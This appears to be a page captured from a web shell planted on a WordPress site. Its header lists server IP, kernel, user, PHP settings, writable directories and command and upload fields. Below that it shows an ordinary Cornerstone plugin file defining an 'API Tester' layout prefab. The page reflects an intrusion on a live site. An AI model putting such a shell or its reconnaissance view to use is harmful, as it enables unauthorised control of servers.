403Webshell
Server IP : 104.21.74.147  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/integration/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/integration/Api/ApiTesterPrefab.php
<?php

namespace Cornerstone\API\Prefabs;

/**
 * Api Tester prefab
 */

add_action("cs_register_elements", function() {

  // @TODO add to 'advanced' group
  cs_register_prefab_element( 'advanced', 'api-tester', [
    'type'   => 'layout-div',
    'scope'  => [ 'all' ],
    'title'  => __( 'API Tester', 'cornerstone' ),
    'values' => [
      "_type" => "layout-div",
      "_bp_base" => "3_4",
      "_label" => "API Tester",
      "layout_div_padding" => "35px",
      "looper_consumer" => true,
      "looper_provider" => true,
      "looper_provider_api_debug" => true,
      "looper_provider_apiglobal_debug" => true,
      "looper_provider_api_endpoint" => 'http://change-me-in-the-customize-tab/',
      "looper_provider_type" => "api",
      "_modules" => [
        [
          "_type" => "layout-div",
          "_bp_base" => "3_4",
          "_label" => "Success",
          "layout_div_border_color" => "green",
          "layout_div_border_color_alt" => "green",
          "layout_div_border_width" => "2px",
          "layout_div_max_height" => "400px",
          "layout_div_overflow_y" => "scroll",
          "layout_div_padding" => "10px",
          "show_condition" => [
            [
              "group" => true,
              "condition" => "expression:string",
              "value" => "",
              "operand" => '{{dc:looper:field key="errors"}}',
              "operator" => "is"
            ]
          ],
          "_modules" => [
            [
              "_type" => "layout-div",
              "_bp_base" => "3_4",
              "_label" => "Debug Info",
              "looper_provider" => true,
              "looper_provider_array_loop_keys" => true,
              "looper_provider_dc" => '{{dc:looper:field key="info"}}',
              "looper_provider_type" => "dc",
              "layout_div_overflow_y" => "scroll",
              "layout_div_max_height" => "200px",
              "_modules" => [
                [
                  "_type" => "text",
                  "_bp_base" => "3_4",
                  "_label" => "Info Title",
                  "text_content" => "Info",
                  "text_font_size" => "1.5em",
                ],
                [
                  "_type" => "text",
                  "_bp_base" => "3_4",
                  "looper_consumer" => true,
                  "text_content" => "{{dc:looper:index}}: {{dc:looper:item}}",
                ]
              ]
            ],
            [
              "_type" => "gap",
            ],
            [
              "_type" => "text",
              "_bp_base" => "3_4",
              "_label" => "Response Title",
              "text_content" => "Response",
              "text_font_size" => "1.5em",
            ],
            [
              "_type" => "raw-content",
              "_bp_base" => "3_4",
              "raw_content" => '<pre>{{dc:looper:field key="response" type="json" pretty_print="1"}}</pre>',
            ]
          ]
        ],
        [
          "_type" => "layout-div",
          "_bp_base" => "3_4",
          "_label" => "Error",
          "layout_div_border_color" => "red",
          "layout_div_border_color_alt" => "red",
          "layout_div_border_width" => "2px",
          "layout_div_padding" => "10px",
          "show_condition" => [
            [
              "group" => true,
              "condition" => "expression:string",
              "value" => "",
              "operand" => '{{dc:looper:field key="errors"}}',
              "operator" => "is-not"
            ]
          ],
          "_modules" => [
            [
              "_type" => "layout-div",
              "_bp_base" => "3_4",
              "_label" => "Debug Info",
              "looper_provider" => true,
              "looper_provider_array_loop_keys" => true,
              "looper_provider_dc" => '{{dc:looper:field key="info"}}',
              "looper_provider_type" => "dc",
              "_modules" => [
                [
                  "_type" => "text",
                  "_bp_base" => "3_4",
                  "_label" => "Info Title",
                  "text_content" => "Info",
                  "text_font_size" => "1.5em",
                ],
                [
                  "_type" => "text",
                  "_bp_base" => "3_4",
                  "looper_consumer" => true,
                  "text_content" => "{{dc:looper:index}}: {{dc:looper:item}}",
                ]
              ]
            ],
            [
              "_type" => "gap",
              "_bp_base" => "3_4",
            ],
            [
              "_type" => "raw-content",
              "_bp_base" => "3_4",
              "raw_content" => '<code>{{dc:looper:field key="errors" type="json"}}</code>',
            ]
          ]
        ]
      ]
    ]
  ]);

});

Youez - 2016 - github.com/yon3zu
LinuXploit